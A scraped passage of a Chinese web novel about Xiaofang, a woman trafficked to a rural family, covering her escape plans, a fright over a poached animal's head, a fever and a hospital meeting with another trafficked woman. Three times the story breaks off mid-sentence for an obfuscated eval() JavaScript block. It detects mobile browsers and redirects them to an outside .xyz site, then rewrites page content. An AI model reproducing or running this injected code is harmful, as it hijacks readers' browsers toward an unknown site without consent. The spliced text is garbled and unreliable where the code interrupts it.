这是没办法的事,伍家村委实太小了,小到不能容忍女人们有她们自己的一席之地,她们必须依附男人而活,她们一辈子都在赌,赌此刻依附的这个男人是不是有良心,会不会亏待她,赌赢了大松口气,赌输了,除了骗自己愿赌服输没其他出路。 农村不像大城市,有那么多的工位供女人自食其力,农村能给男人收刮的都极其有限,更何况几千年来居于男人身后的女人呢? 小芳够幸运了,老爹老伍虽然窝窝囊囊、好吃懒做一辈子,但至少听政|府的话,没给她弄个兄弟什么的出来趴她身上吸血。 老爹的离世让小芳过早地过上了单亲孩子的生活,吃喝条件都比有父亲的人家差,但至少她享受的是一份完整的,没人和她抢夺的母爱,她已经比伍家村的许多女孩运气好了,起码她伍小芳活着的一部分意义不是为了给兄弟凑一份彩礼而存在的。 但即使这样,她仍然不满足,她不想活得像伍家村的大多数女人那样,不是嫁给伍家村的男人,就是嫁给罗家村、张家村,这个村那个村的男人,嫁人嫁得再远都摆脱不了身不由己的命运。 小芳才不想把自己的命捏在别人手里,凭什么男人能掌控他们的命,女人就不能? 她对农村的女人是一边心痛她们又一边嫌弃她们,这些女人就像给烙上印的牛马驴骡一样,跑老远都像有根线牵着她们不让她们自由。 她听说过好多到了外面打工的女人明明挣得不少,可以一个人滋滋润润地在城里过日子,结果呢?贱得像受不住福,硬要每个月把大部头的钱寄回去,供兄弟读书,供兄弟结婚,供兄弟养爸妈,供兄弟养媳妇孩子,一家人在农村吃香喝辣,自己在外面抠搜节约。 她离开时的前夕就这样想,她才不会这样,要享福也是自己先享够了,多余的享受不了,浪费了她才会留给别人。 做人的道理就是你不先紧着自己,有得是人通过消耗你来紧着他自己。 就这一顿吵嘴被孙少康刺激了下,小芳又关上门想了那么多,越想心里越憋闷,那种憋闷裹挟着一阵恶心让她想吐。 小芳觉得这就是身体的不舒服反应,人在现实里想太多而做太少时,那种愁苦是能把人逼生病的,有文化的还可以写诗写文章来排解,她这种初中毕业的怎么排解? 强迫自己不想那么多?那又不行,人想起事来,脑子是不受控的。 她在心里烦躁了一阵,每天那么多的精力必须拿出去花销,不然她这满脑子找不到出路的东西有天非得把她自己绕死不可。 对了!她心头忽然想到,他妈的,每天都在想跑,想跑出去后要干什么,怎么就没想着怎么跑?自己是知道路,还是有门路啊? 她先在心里把自己狠骂了顿,又理理思绪,准备明天找个借口骗骗孙少康让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630285|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带自己到附近逛逛,踩踩点,慢慢来,来这里二十多天,她连镇上都没去过,先把镇上摸熟了,然后就是县城。 这就叫农村包围城市。 她正在计划着,孙少康喊她吃饭的敲门声又响起了。 小芳身体心虚地颤了两下,就像被人发现了般胆怯,她告诫自己以后得更仔细,还得管住她这不受控的暴脾气,把他们惹生气了,他们怎么会带自己出去呢? 孙家兄弟都说在施工队上班,哪儿的施工队那么闲能让两个壮汉一个上工一个休息?还照顾,她心里冷笑一声,不就是必须有个人来看管她吗? 让他们卸下戒备,这是首先要做的,不然后头的都免谈,两个人那两双铁掌都不用把她五花大绑,光是给一掌就能把她打得老老实实晕过去。 孙少康没听见她动静,又敲了下问:“你又睡了?猪啊?猪也该在饭点的时候醒啊!” “来了!”小芳高喊一声。 这顿晚饭小芳吃得很尽兴,她也有点摸清驱使孙少康行为背后的动机了,这人是不会坦率地和你道歉的,只会做其他事代替他的道歉。 今晚饭桌上的切得满满两大盘的猪头肉和腊排骨就是他实体化的道歉。 看来这男人心比嘴软,遇见对女人会心软的男人是好事,尤其是不爱他们的女人。 不爱他们的女人可以充分利用他们的心软来达成自己的目的,且不会受良心谴责。 开什么玩笑?每一份付出的真心要是都能得到回报的话,那么这世上就没有警察、律师、法官这类人说话的份儿了,这类人的存在就是为人类的劣根性而存在的。 盘里这只猪头还没被孙少康切剁过时,狠吓过小芳几次,因为她第一次在一张死去的猪脸上,见到了人才有的满足神情。 它被吊在外面的烟囱口下面,腌成酱色的脑袋被两根棍子一横一竖地撑得很饱满,那双猪眼睛和猪嘴,分别呈向下弯和向上弯的弧度,仿佛死之前很心满意足了,把死当做它的归宿。 不过想想也该它心满意足,一辈子只干吃饭睡觉两件事——母猪多出一件,要生猪儿——死之前被痛快来一刀,这样的一生,倒比世上许多人活得舒服。 但道理归道理,她几次没做好准备从烟囱旁边路过,见到这张死了不知多久,却笑得如长者般仁慈的动物的脸都会冷不防吓得一哆嗦,它像是在告诉你,“来嘛,死不是件可怕的事。” 小芳报复性地吃着,连她自己都搞不明白她报复的目标是谁,是这张死了还吓她几次的猪脸?还是今天说话刺伤了她的孙少康? 她毫不客气地一双筷子在猪头肉里纵横飞舞、挑精拣肥,猪头肉最好吃的就是耳朵和拱嘴。 这两样器官不晓得怎么长的,没有瘦肉那么柴,也不像肥肉腻死人,很有嚼劲,吃到有脆骨的地方,嘴里还“嘎嘣嘎嘣”的。 孙少康一看小芳今天吃饭这仗势就晓得她是接受自己的道歉了,于是又把那盘肉往她面前送了送,还指指排骨说:“这个味道也不错。” 小芳给他面子的夹了一块排骨,嫌费事直接上手啃,她听见一声笑。 刚想给他一记眼锋,两个人突然眼神就碰上了,一个凶巴巴的,另一个笑意未了,这样两双眼睛撞一起,要是有旁人在都会误会出其他意思来,像什么?暗送秋波?还是以眼会意? 日他们孙家十八辈祖宗的,小芳在心里骂,怎么吃顿饭就把气氛搞得这样肉麻?怎么这顿饭,他俩吃得就像伍家村每一家过日子的夫妻? 小芳心里越烦躁,动作越猛烈,嚼都不嚼两下地把菜往肚里吞,她那点胃哪里放得下一整张猪脸,一阵恶心上来,还没跑出去就把吃进去的全吐了出来。 孙少康跟过来,拿纸给她擦嘴,小芳躲着脸不让他碰到,这人难道不知道,和他今晚上这顿饭的气氛也是致使自己呕吐的原因之一? 今晚丢人丢大了,她想,跟个饿死鬼投胎一样,居然吃吐了。 “我自己来!”她一把抢过纸。 孙少康只能退一步说:“我去给你烧洗澡水。” 23. 洗澡 小芳在孙家有自己的专用澡盆,那是她刚来这里没两天,要洗澡,孙少华给他烧了一锅洗澡水,澡盆是个巨大的铁皮桶。 那天他把铁皮桶放到只挂了层布帘厕所里专门隔出来供人洗澡的一片区。 又挑了几桶热水倒进去,洗澡的地方牵了根水管连着孙家的大水缸,孙少华把热水给小芳准备好以后,小芳却不洗。 “要洗你自己洗!” “洗热水澡,洗了全身都舒服!”孙少华抹着满脑门汗说。 在没浴具没热水器的农村,想这样泡一顿澡是要费大功夫的,他搞不懂小芳怎么为了拒绝自己,连自己给的方便也拒绝,他心头更是被一种挫败的痛苦折磨。 小芳却怒道:“你们洗过用过多少次的铁皮桶给我用?从你们身上泡下来的泥浆子腻在这上面,指甲一抠到处都是,你叫我洗?!” 孙少华沉默了。 小芳嫌弃地看着他为忙活这一顿澡弄出的一身臭汗,赏他般地说:“你好好洗个澡犒劳你自己吧。” 说完她就转身走了。 第二天还没到中午,小芳就被孙少华那辆烂皮卡声给弄醒了,烂皮卡启动动静,说是坦克开路也不夸张了。 引擎声停了,还有声响,木头和地碰撞的那种“咚咚”声。 小芳不晓得他又在搞什么讨好自己的把戏,气都懒得生了,随他折腾去,自己用得上就用,用不上就当糟蹋,反正在他家,他做什么她都不会生出动容和恻隐。 那晚孙少华把饭做好放桌子上后,就跑到厨房去不去忙了。 等小芳细嚼慢咽把晚饭品味完,留下脏盘子给他洗时,他跑进来说:“去洗洗吧,这次是没人用过的。” 小芳一头雾水。 他满脸讨好夹杂着胆怯,像怕他示好的人不承他情那样。 小芳走到厕所洗澡那处,真放着一个崭新的木桶,那容量足够让她舒舒服服地泡澡,以后还不会怀疑被人用过,孙家两兄弟的块头跑进去不会舒服,只会憋屈。 孙少华跟在她身后说:“快洗吧,这是我今天才跑到镇上买来的。” 哦,小芳心想,之前孙少华早上都蹑手蹑脚跟做贼似的,今早好一会儿“悾隆哐啷”就是为了这个大家伙。 当时她心里不是没有感动的,面前这个男人对她的好,光靠装可不够,他真是个骡马般忠厚老实的男人,半点花花肠子都没有。 但那感动也只有短短一瞬,小芳心里那笔账记得很清楚很牢靠,他们同在一座屋檐下的起因,只要她一忆起,可以立马埋没他对她所有的好。 那晚小芳在蓬起一室白雾的洗澡间边洗澡边告诫自己,如果现在她在广州干上了流水线,这样一顿热水泡澡她会请不起自己吗?轮得到这个害了自己的男人献殷勤?还企图打动自己,简直可笑。 小芳吐完后,好不容易能站起来,可肺腑里直往上涌的恶心劲儿怎么也消不掉,腹腔里吐出来的内容,让她清晰地认识到她今天的晚宴是多么丰盛,而此刻她又造成了多么可耻的浪费,如此美味的食物竟不配在她体内得到一次完整的人体内循环。 她边犯恶心边幽默地想,要是那张si得很慈祥的猪脸,在天之灵得知它美妙的肉类食物滋味,居然不是走的人类正常排xie通道,而是以呕吐的形式和一堆红的白的混在一起,不晓得它的灵魂是否还能笑得慈祥如故。 如果还能,那头猪是修炼出境界了,不用再投畜生界了,甚至那头猪也许是天蓬元帅转世,清楚自己死了就能上天归位了,才笑得那样一发不可收拾的。 小芳想到这里竟忘掉一时难受不自觉地笑了起来。 “你笑什么?”孙少康觉得女人怎么能像她让人摸不着头脑,呕吐也是件好笑的事?还有他自己更奇怪,刚刚那一刹那,小芳不设防的笑竟让他感觉很美,那是他第一次在她的笑里没有见到嘲讽、轻蔑、厌恶等恶劣情绪。 他想,在来他们这儿之前,和那个卖掉他的男人相处时,她该有过很多次这样的笑吧? 想到这里,孙少康心烧一样烦躁,心火把他烧难受了,他还不懂这种难受叫“嫉妒”。 “你管我笑什么!”小芳真情实意的笑容就跟自动般,见到他们两兄弟立即打住。 果然,她瞬间换上的冷漠神色让孙少康知道,她刚才那笑和他,还有他们家是没任何关系的,他们兄弟俩无论做什么顶多只能得到她讽刺意味十足的笑,那笑是在说:“何必呢?两万块取回来一个只能当观音供着的老婆,还不是送子观音,划不划得来?” 而那种只与快乐、高兴本身沾边的笑只在让她想起过去与她产生联系的人事物时,才会展现重焕,才会让他和他大哥沾点她过去的光,瞻仰一下她永不会对他们露出的笑 但最让孙少康气不过的是,偏生这个跟豌豆投错胎一样,油盐不进的女人就是生得漂亮,漂亮得无论她怎么笑,都能让男人停下来欣赏地,即使她的笑在表达对你的看不上,你依旧愿意让她保持对你的看不上,以见到她令你几乎想奉献一切的笑。 就像这一刻,小芳将将那一闪即逝的笑还没来得及让孙少康完整地品味一次,就吝啬地收回了。 他决心要犯贱一下,领略她另一种笑,那种笑才是专门针对他的。 “我管你?”他假巴意思地提高声,说得不情不愿的,“你以为我想管你?你吐成这样臭死了,赶紧去洗澡!” “臭?”小芳笑了。 她激她的目的达到了,小芳给了他一个嘴角咧得很开的笑,这种笑是人当下情绪的十足表达,或开心,或悲伤,或嘲讽,这些情绪都由咧到近乎极致的嘴角将它主人的感情,不加掩饰地向你展现。 小芳说:“臭怎么了?我又不挨着你睡?臭得着你?” 孙少康心里想说:你要能挨着我睡,臭我还不能忍? 说完小芳就拿上洗澡的盆、香皂、睡衣朝厕所方向走了。 她的牛气也只能在人前牛气一阵,要真顶着这身馊酸味儿睡觉,她要把自己皮活刮了才行。 泡进她的专属浴盆,那微烫却烫得人都酥了的水温让小芳觉得文人爱说的“温柔乡”大致就是她当下的感受吧? 孙少康还体贴地给她放了两桶近乎烧开的水在一旁,水要是冷了,她自己用水瓢加进去就行。 这顿澡要不是透气的窗户正对着厨房延伸出来的那个烟囱口,就完美了。 那烟囱口又挂上了新的腌制食物,也是动物头颅,但不是猪狗牛羊中任何一种。 那是被人给剥了皮的一颗头,更诡的是这只动物头的大小与人几乎无异,小芳脑子急速思索着有什么动物能有跟人差不多大小的头颅,思索半天她只得出一个结果,那就是人也属于动物分类之一。 这个结果使平日不怕天不怕地的小芳,浑身过电似的抖了两下。 其实不能怪小芳没见过世面,想不出这颗头究竟属于哪类物种,窗子上厚薄不均的雾气给了这颗因风干而眼珠暴突的头颅更添几分惊悚感。 被人偷看洗澡就够受惊的了,更别提被一个脸上五官只有一双凹眼被过分强调的不知名动物头颅。 这一刻小芳行动抢先于意识地叫喊了起来,所有受到轻薄又无力反抗的女子都会发出的那种尖叫。 那是将浑身的恐惧、颤抖、惊吓都化作力量聚集在喉咙口,而四肢早已瘫软,不能供人调配任何有关反抗、防卫、逃跑的动作。 孙少康在听见小芳尖叫之前,他正在抽烟,在烟雾缭绕中回味着小芳的笑,以及牛反刍似的想从那个笑里品味出其他不同的意思和风情。 在听到尖叫后他迅速掐灭、扔掉手里的香烟,剩下的一截比抽掉的长,这是孙少康会抽烟以来,首次没把整支烟抽到烟屁|股才罢休,好大的浪费! “怎么了?”孙少康不管不顾地冲进厕所,掀开被湿雾浸得润润的布帘。 小芳见到他人后,尖叫没停反之更甚,那惊吓直接多出了一倍。 孙少康看见她双手交叉抱住肩膀才意识到自己这样莽撞冲进来反使情况更糟了。 “你叫什么?”他急忙退出去。 小芳此时嗓子除了发出尖叫,没有任何其他用途,叫了好久,把自己都叫累了她才哆哆嗦嗦地说:“头......头......” “什么头?”孙少康才摸不着头。 “窗子......外......外面的......头......” 窗子外面? 这下孙少康才想起来,那是他前几天从县城回来时看见有个摆摊的说是刚打的什么动物,味道好得很,还是国家禁止狩猎的,想着买回来也给他大哥和嫂子尝尝,结果刚回来就看见小芳对他大哥的蛮横态度,他就把这事给忘了。 他把那颗头的前因后果给小芳讲了后。 小芳骂道:“你神经病啊!鸡鸭鱼肉不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630286|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你吃?你还要买那种吃了丧德的东西!你知不知道这是犯法的?!” “犯什么法?”隔着层布帘,他们讨论起法律问题来了。 还犯什么法?小芳想,他简直愚昧无知得没救,“卖给你那人都说了是国家禁止狩猎的,你说你犯什么法?犯国家的法,国家禁止的你犯了不就是犯法了?” 伍家村和周围几个村的村民平日也有“犯犯法”的习惯。 比如一大群年少失学的孩子不能整日闲着在家吃白饭,就白天帮家里人种种地,晚上趁山上森林看守人疏忽,大人带着孩子去砍伐树林。 树是好东西,对国家不仅起到防风固沙、美化环境的作用,对村里人砍下来,送到木匠一家人手里,做成桌子板凳、衣柜、五斗柜,就能送到镇上、县城里去卖还钱了。 但树死了活了都有好处,国家需要的是它们活着的好处,村里人是要它们死成木头桩子的好处,这两样不相容的好处,使得当地政府和村民们展开猫抓老鼠的游戏。 这场游戏,争夺的不仅有树,还有其他,毕竟森林是做宝矿。 有时几个持猎枪的壮汉携着村里的小男子汉们跑到林里去猎动物,熊、老虎什么的猎了去卖,他们不敢明目张胆放到市集上去卖,这些东西都有人上门来收。 那些人,小芳听村里男人说,贼得很,他们收的价格不高,卖出去就很高了,经过饭店的人再烹饪一下,一道菜的价钱有时可以抵伍家村一户人家一年的开销。 那些来收货的人把外面的大世面讲给村里人听,他们说,大城市的五星级饭店,有钱人的口味猎奇得很,吃的都是驼蹄、驼峰、熊掌、猴头、鱼翅、燕窝之类的,反正一般的鸡鸭鱼肉不能满足他们挑剔的胃口。 北京来的蔡老师对村民们的这些行为感到十分痛心,课堂上他向学生们倾吐,村民们太过短视,只着眼于当前的短期利益,而置国家的长久利益不顾,他们殊不知国家的长久利益里实际上也包含了他们的一份。 蔡老师更是痛斥,他们短浅的视野也影响到了后代身上,班上有得是学生尝到乱砍滥伐森林、偷猎野生动物带来的甜头,比上学这件需要厚积薄发才也许能见到效果的事划算得多,便一窝蜂地闹起退学。 年近六旬的蔡老师心痛地在讲台上说:“你们知不知道?一棵树养多少年才能长成两手合抱那么粗?” 学生们懵懂地摇摇头,他们只知道电锯锯下这么粗一棵树,十分钟就行。 “至少十年!”蔡老师发出激昂地叫喊,“这世上任何一片森林都不可能供你们这样无限制地糟蹋下去!要不是国家,你们这里早就完了,而我的故乡北京,也将成为一片沙漠!水土流失、土质沙漠化、极端气候频繁,你们以为这些和你们无关?这不仅仅是国家的事,也是你们每个人的事!” 那时还很年幼的小芳没见过电视里指点江山、挥斥方遒的伟大人物,而在讲台上唾沫横飞,甚至讲到激动处涕泪横流的蔡老师就在心里留下了一个永恒的、伟大的形象。 只有伟大的人才会干村里说的“吃饱了,没事干”的事,不关心一日三餐却关心国家大事。 那时小芳还不懂一把年纪的蔡老师活得实在是太寂寞了,他这些激情昂扬的话只有放在课堂上讲才会有听众。 他的妻子是不懂他的,他的孩子们同样认为几十岁的父亲还老爱犯学生腔毛病,只会说些华而不实的话,好话谁不会说?可干国家禁止的事能换来到手票票,和虚无缥缈的还不知有没有你普通小老百姓份儿的什么国之大计比起来,哪样更实惠? 人活着不就图一个实惠?又不是伟人,干嘛还“生年不满百,常怀千岁忧”起来了?你配吗?或者说你忧心有用吗? 连人家原诗的作者都在后面表明态度:人生应当及时行乐才对,何必总要等到来年呢?只想为子孙积攒财富的人真是格外愚蠢,他们的子孙也只会嗤笑他们的活着的不惜福! 就这样隔着一层布帘,小芳把当年蔡老师在课堂上讲给他们这群学生听的话,几乎原模原样连语气都没变地复述给了孙少康听。 她没意识到,她的脸出现了当年同蔡老师一般的轻蔑和敌视,她此刻认为孙少康这类人的愚蠢,就是蔡老师当年认为伍家村人愚蠢的复刻。 小芳不明白当年蔡老师在教育他们这群蒙昧的农村学子同时,在挥洒知识与汗水的同时,也是携带着嫌弃和鄙视的,正如这时的她对孙少康。 24. 住院 “你是说我们这样的行为是不对的?”孙少康听完小芳从蔡老师处抄袭来的长篇大论后,有点开智又有点混沌地问。 “不然呢?”小芳说,“你们家门口这一片片望不到头的黄土地不就是你们愚蠢行为导致的恶劣后果吗!” 愚蠢?他今天才明白,在小芳心里他和大哥是愚蠢的。 他突然胆怯起来,不知该做些什么才能替自己挽回一点在小芳眼里已是愚不可及的形象,而这一切不过是由一个好像是猴头的野生动物脑袋引起的。 他现下恨不得跑出去,把这颗脑袋踢得越远越好。 “那我把它扔了?”孙少康奉承地说。 “赶紧!”小芳催促道,她不想再朝窗口望时,跟那颗在风中摇曳的头颅对视。 很快侧过脸的小芳听见孙少康在外面把它取下来的动静,长久地松了口气。 还有桶热水没倒进来,她干脆把里面的水全舀进已温凉的浴盆里,室内又蓬起一团温暖的白雾。 正当小芳要闭眼好好给自己松松神时,布帘外又传来孙少康开厕所门进来的动静。 “你进来干什么?”小芳慌了,她现在全身□□,白皙的皮肤被热水泡得粉嫩,光她自己欣赏都感到诱惑味十足,那没老婆的骡子二号瞅见了还能挡得住? “你继续说啊!”孙少康意犹未尽道,“我觉得你比村里、镇上还有县城里那些人讲得中听多了,他们只会站台子上说我们这样是不对的,说这里的黄土地都是我们的愚昧!他妈的,我妈把我从肚子里带出来时这儿就是这样的,怎么还成我们的错了?!” 废话,小芳心里骂道:那群人会在洗澡的时候跟你隔着一层当遮羞布用的破帘子讲这些道理? 这破帘子有什么用?顶多在一男一女独处一室的情况下,起个营造情趣的作用,毕竟赤|裸坦白的一览无余多么缺乏情调和韵味? 可小芳又不能像平时那样说些难听话激怒他,这一刻激怒他的下场摆明是她吃亏。 “你贱啊,”她放缓了语气,尽量听起来像打趣,“我骂你们愚蠢,你还说我讲得好,你们村里、镇上、县城搞宣传活动的时候,这样骂你们不把你们骂得造反?” 说完她轻轻地起身,极力控制水波的大幅动荡,以免发出声响。 “你和他们不一样,”孙少康说,“那群人自己住最好的招待所却叫我们节约、保护环境,我们要是有他们那生活条件,犯得着累死累活去干那些事?谁还不懂享受?” 小芳已经爬出了浴盆,轻手轻脚地拿到毛巾把自己身上揩干,又把内衣裤往套上。 “你怎么不说话了?”孙少康追问她。 她此刻一心两用,又要给自己小心麻利地穿衣,又要应付他懵懂无知的提问,烦躁得要命。 “他们也是为你们好,”她替孙少康谩骂的那群说一套做一套的人开脱道,“你想想,你们一个个都小小年纪不去上学了,不去上学每天那么多时间怎么耗?还不干违法犯罪的勾当?说白了之所以会干出这些违法犯罪的事,还不就是因为你们早早就放弃了受教育的权利?” “你知不知道国家现在为了扫清文盲做了多少工作?你们这样拒绝接受教育,保持无知愚昧还保持得很骄傲,不是公开和国|家叫板,和国|家反着干?” 小芳这时已大致把能盖身的衣物全穿完了,还需要穿上毛衣和睡裤以免着凉,但之前的心虚感是没有了,蔽体衣物给她的安全感很充分。 她苦笑了下,蔡老师怕是到死都想不到,有天他的伟大宏论,会被当年在课堂下一个不起眼的小女生拿到洗澡间来向一个半文盲青年宣讲。 “可是......”孙少康小心地说,怕学生惹着老师烦那样,“读书真的是件太受罪的事,屁|股跟胶水粘一样,一坐就是一整天,就为了听上面的人念经。” “受罪?”这下小芳不冷静了,读书还受罪?她做梦都想上高中,要不是学校家里的两头忙没考上高中,又没条件复读,她现在或许考上大学,成金贵的大学生了。 “难道不受罪?”孙少康的蠢还不能被小芳一下点悟,“你当初坐在教室里你不受罪?” “哼”,小芳一声冷笑,她湿头发上包着毛巾,猛地把布帘子掀开,倒把孙少康吓一跳,她说,“如果接受知识就是受罪,那么我宁愿受一辈子这种罪!” 说完她头也不回地走了,留孙少康独自在原地诧异,怎么她刚才半点拾掇的声音也没发出来? 小芳把房间门锁死,骂自己马虎,怎么进去洗澡就忘记把厕所门给别上了呢?幸好今天二骡子没想些不该想的事,不然后果不堪设想。 不过也真好笑,她心想,他竟然问自己在学校里听课受不受罪,问一个被拐卖到他们家的妇女这种问题,这不扯淡吗? 她只恨自己那几年的课没听得再认真点,也许就是因为她偶尔的上课开小差,让她错过了天上地下无所不知的蔡老师课上有关人fan子的胡七八扯,而就是这点错过,让她付出了多么沉重的代价? 小芳今晚就这样顶着一头湿漉漉的厚重头发睡着了,第二天早上起不来的下场纯属自找活该的。 嘴唇干燥得像那种带酥皮的点心,体温很烫人,头跟灌了水银似的沉重无比,整个人在被窝里有一下,没一下地咳嗽。 小芳强撑着让自己起来,在屋里寻找感冒药,头重脚轻地翻找了半天一无所获后她想到,也许这是对不生病的蛮牛兄弟。 咳嗽一声高过一声,身体在向外散发灼热温度的同时,体内却是打寒颤的冷冽,仿佛那外扩的热度是以她的生命为燃料。 小芳是很少生病的,她过去在伍家村就像大多数农村孩子般活蹦乱跳,无论受什么伤窝被子里睡一晚第二天也恢复了。 她还真一路扶着家具、墙摸索回了床上,用被子把自己裹严实,想着发一身大汗出来就好了。 就着这念头,她强迫自己再睡一觉,可这一觉却如置身冰天雪地,四面都是不可抵御的寒冷,从她每个扩张的毛孔里渗入,直冷到她骨子里,牙齿打颤、肌肉紧缩。 半睡半醒间,她感到有人把她从天寒地冻里抱起来,放进一辆一跑起来就要散架的车上,一路颠簸不知去向何方。 等再睁开眼时,入她眼的是四面带脏的白墙壁,还有除她这张以外的另外三张床位,有两张是空的,另外一张躺着人,这是医院病房了。 谁把她送来的?孙少康,可她又想,门不是上了锁的吗?难道他硬撞开的? 这时她也不追究他不经自己同意破坏门锁的野蛮行径了,感冒发烧这种事可大可小,往小了看,不用吃药睡一觉就好的大有人在,但是烧过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630287|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧成傻子瞎子聋子的也不是没有,让她下半辈子当个智力或有视听障碍的残疾人,不如烧死她好。 “醒了?”是旁边那张床的病人叫她,一个女的。 “嗯,这是医院?”喉咙烧哑了,话能说就是费劲,别人听着也费劲,像用刀片刮锈了的铁锅般刺耳。 “啊,县城的医院,”那女人说,“昨下午你男人把你送进来的,送来的时候你都不省人事了,你男人都急昏了。” 她很想解释一句,那不是她男人,那是她男人的...... 思绪立马刹住车,她意识到自己刚才想的什么,简直被唬了一跳,胡七八想什么?那两个男人无论哪个都和她没关系,但要她给这个女人解释,她又不晓得该如何解释。 突然小芳脑子里闪现个念头,她是被拐来这里的,之前想破头地想到县城里来,这次得个感冒就来了,多不费功夫? “他......”小芳艰难地说,“他不是我男人......”每说一口就像吞了把刀片。 “你兄弟?”那女人问。 小芳已汇拢的思维察觉到,这女人的口音和孙家两兄弟完全不同,没有北方人那种浑厚直白,倒是很有南方人弯弯折折的调调。 “你不是本地人?”小芳问。 “不是,”她报了自己家乡省份 “跑这么远来这里?”小芳试探地问。 她俩各自所在的身份,在外省人眼里是属于姐妹省份,于是对这女人此刻小芳也产生了点奇妙的姐妹情。 “听你说话,你也不是这本地的?”她也把小芳吃准了。 两个人接下来只彼此交换了一个眼神就无需多言了,同样坎坷曲折的来路让她们明白,自己是怎么来了,对方就是怎么来的,当然,也许小芳要浪漫一点,她甚至中途还和拐卖她的人春宵了一晚。 “你看看这地方,”那女人总算找到人诉苦了,上来就贬低,“好土哦,不仅是走到哪里望见的全是土,还有这里人的审美,你去过这里县城的服装店没有?全是那种花花绿绿的衣裳裙子,我们那里的老嬢嬢都不穿!” 小芳觉得她还是夸张了,女人把她在大城市里见到的时髦套在了她所谓的家乡头上。 在伍家村,农村妇女们是把那女人不屑的花哨当时髦来看的,毕竟农村的土地是靠人来种的,不穿得花哨鲜亮怎样把人和土地区分开?大城市人流行的简单色调,到农村只会让人和整片土地连成一片,不分彼此。 那不如不穿? 还有农村女人原本在城里人看来就是欠缺颜色和个性的,那点五彩缤纷的花哨也算是给她们单调的个性增添点亮色了。 但她的批评还是让小芳感到很中听,毕竟这是个和自己有同样来路的女人,仅凭这点相知相识就够让小芳容忍她的牢骚了。 “还有这里的人,”那女人也是闷坏了,喋喋不休地散发怨气,“脑子朽得很,一点不开化,怪不得落后,我是在江苏那边打工被他们拐来的,你知道江苏、浙江那一带的人脑子有多灵吗?天生做生意的料,活该人家富!” 小芳听她那么怀念的语气,心下一喜,说不定她也同自己一样还心有不甘,还想着回江苏去,如此看倒是好事,一同跑出去的路上互相作伴,两个人总比一个人想得周详,更何况这女人比自己更熟悉此地。 25. 两个女人 “你来多久了?”小芳打断她的絮叨,她只想趁两边男人都还没来时,抓紧时间把计划做好。 “我?”她伸出三根指头,“三年了!” 小芳不明白是不是因为自己烧糊涂了,怎么刚才还在控诉这里一切的女人此时语气听出点领头羊的得意呢? 但她还是露个讨好的笑,干裂的嘴皮,扯得她“嘶”一声,“那姐姐,你不想回江苏去啊?江苏肯定比这里好很多倍吧?” 很愚蠢的问题,但为了讨好,她只能装蠢。 “那是当然!”女人不假思索地答。 小芳不是很清楚女人这句“当然”,是同时回答自己提出的两个问题,还是其中一个。 女人又骄傲地说,“那里的人都长得白净,我刚去的时候黑煤炭一样,那里水土多养人?我去半年,整个人都白了!还有我在那边干流水线的时候,一个月多的话能有两三千呢!” 两三千?小芳原先设定好的思绪被她给弄岔了,怎么最多才两三千,按娟姨,呸,孟娟的说法,一个钟头十四五,一天就算干十二个钟头,一个月休息两天,怎么也不该有四千多吗? 小芳扯着她的破嗓子痛苦地问:“怎么会?不是说一个钟头十四五块钱吗?每天拿半天出来干,每个月歇两天,刨去吃吃喝喝的,怎么一个月下来也有个三千多四千可以存下来啊!” “谁跟你说的?”女人倒反问起小芳来了。 谁说的?当然是人fan子说的!但小芳没开腔了,她半真半假地咳嗽两声掩饰她当前说不出话来,实则是为自己的无知打掩护。 她怎么还这么蠢呢?人fan子的话还继续当真,还以为流水线真有人fan子们说得那么好,人家不把事实夸大了说,能引你们这群想钱想入魔了的农村无知少女们上当? 小芳故意咳了好久,嗓子都给咳得痛上几个度才编了个借口道:“是以前我们村里出去干流水线的姑娘们说的,我就信了。” “她们骗你的,”女人语气肯定,“我说你别不相信,要是一个月像你说的这样轻松就能挣三四千,全国农村人都要跑去干了,人一多了,厂老板不缺人了,你还能要价三四千?美得你!” 小芳像被前辈教训般受教:“是是是。” 女人又说:“你别信那些去过城里的人说的话,他们都喜欢把一当成十来说,就像不吹牛别人就不会信了一样。” 小芳点了点头,心里却想:那你刚才说这里土气,说你老家有多么时髦时怕也是把一夸成十来说的吧? “所以谁的话也不要信,”女人一个转折把话题转到伤感层面上了,“信了就像我们一样被骗到这山沟沟里!” 她说完倒提醒了小芳最初目的,小芳定了定心,提醒自己可别再被岔开绕到其他话题上去了。 小芳又把先前的问题重提了遍:“姐,你不想回江苏去啊,听你说江苏那么好,我怪羡慕的。” “回去?怎么回去?”她语气带着忧伤的认命,“我来这里第一年就怀上了,你知道我为什么和你住进一个病房里不?” 小芳摇摇头,她喉咙跟没上机油的齿轮似的,说一个字,就要摩擦出火星子。 